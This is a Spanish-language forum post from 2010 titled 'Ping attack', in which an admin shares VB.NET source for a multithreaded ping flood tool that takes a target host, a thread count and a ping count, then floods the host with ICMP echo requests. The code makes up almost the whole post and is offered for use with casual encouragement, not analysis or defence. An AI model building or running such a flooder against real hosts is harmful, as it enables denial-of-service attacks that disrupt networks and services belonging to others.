קҳ]тสuruธ Admin
Mensajes : 17 Fecha de inscripción : 11/09/2010
| Tema: [CODE] Ping attack Sáb Sep 18, 2010 5:54 pm | |
| Ping attack Imports System.Net Imports System.Net.NetworkInformation Imports System.Text Imports System.Threading
Public Class Form1 Dim strHost As String Dim intThreads As Integer Dim intPings As Integer
Private Sub Enping_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnFlood.Click strHost = txtHost.Text intThreads = txtThreads.Text intPings = txtNoPings.Text txtPing.Clear() If intThreads > 0 Then If intPings > 0 Then For thread_Count As Integer = 0 To intThreads Dim lc As New Ping_Flood(strHost, intPings) Dim serverthread As New Thread(New ThreadStart(AddressOf lc.Ping)) serverthread.Start() Next Else MsgBox("Enter A Number for Pings") End If Else MsgBox("Enter Number of Threads") End If End Sub Public Sub UpdateTextMethod(ByVal strMessage As String) txtPing.AppendText(strMessage) End Sub End Class Public Class Ping_Flood Inherits Form1 Private Host As String Private Pings As Integer Delegate Sub UpdateTextHandler(ByVal strMessage As String)
Public Sub New(ByVal Host As String, ByVal noPings As Integer) Me.Host = Host Me.Pings = noPings End Sub Public Sub Ping() For counter As Integer = 0 To Pings Try Dim ping As Ping = New Ping() Dim pingreply As PingReply = ping.Send(Host)
Dim strMessage As String = "" strMessage &= "Address: " & pingreply.Address.ToString() & Constants.vbCrLf strMessage &= "Roundtrip Time: " & pingreply.RoundtripTime & Constants.vbCrLf strMessage &= "TTL (Time To Live): " & pingreply.Options.Ttl & Constants.vbCrLf strMessage &= "Buffer Size: " & pingreply.Buffer.Length.ToString() & Constants.vbCrLf
Dim f As Form1 = My.Application.OpenForms("Form1")
f.Invoke(New UpdateTextHandler(AddressOf f.UpdateTextMethod), New Object() {strMessage})
Catch err As Exception MsgBox(err.Message) End Try Next End Sub End Class
muy facil de hacer alguna duda dejen un comentario o si tienen algun error ponga la imagen del error bueno cuidence espero q les haya servido los codigos
| |
|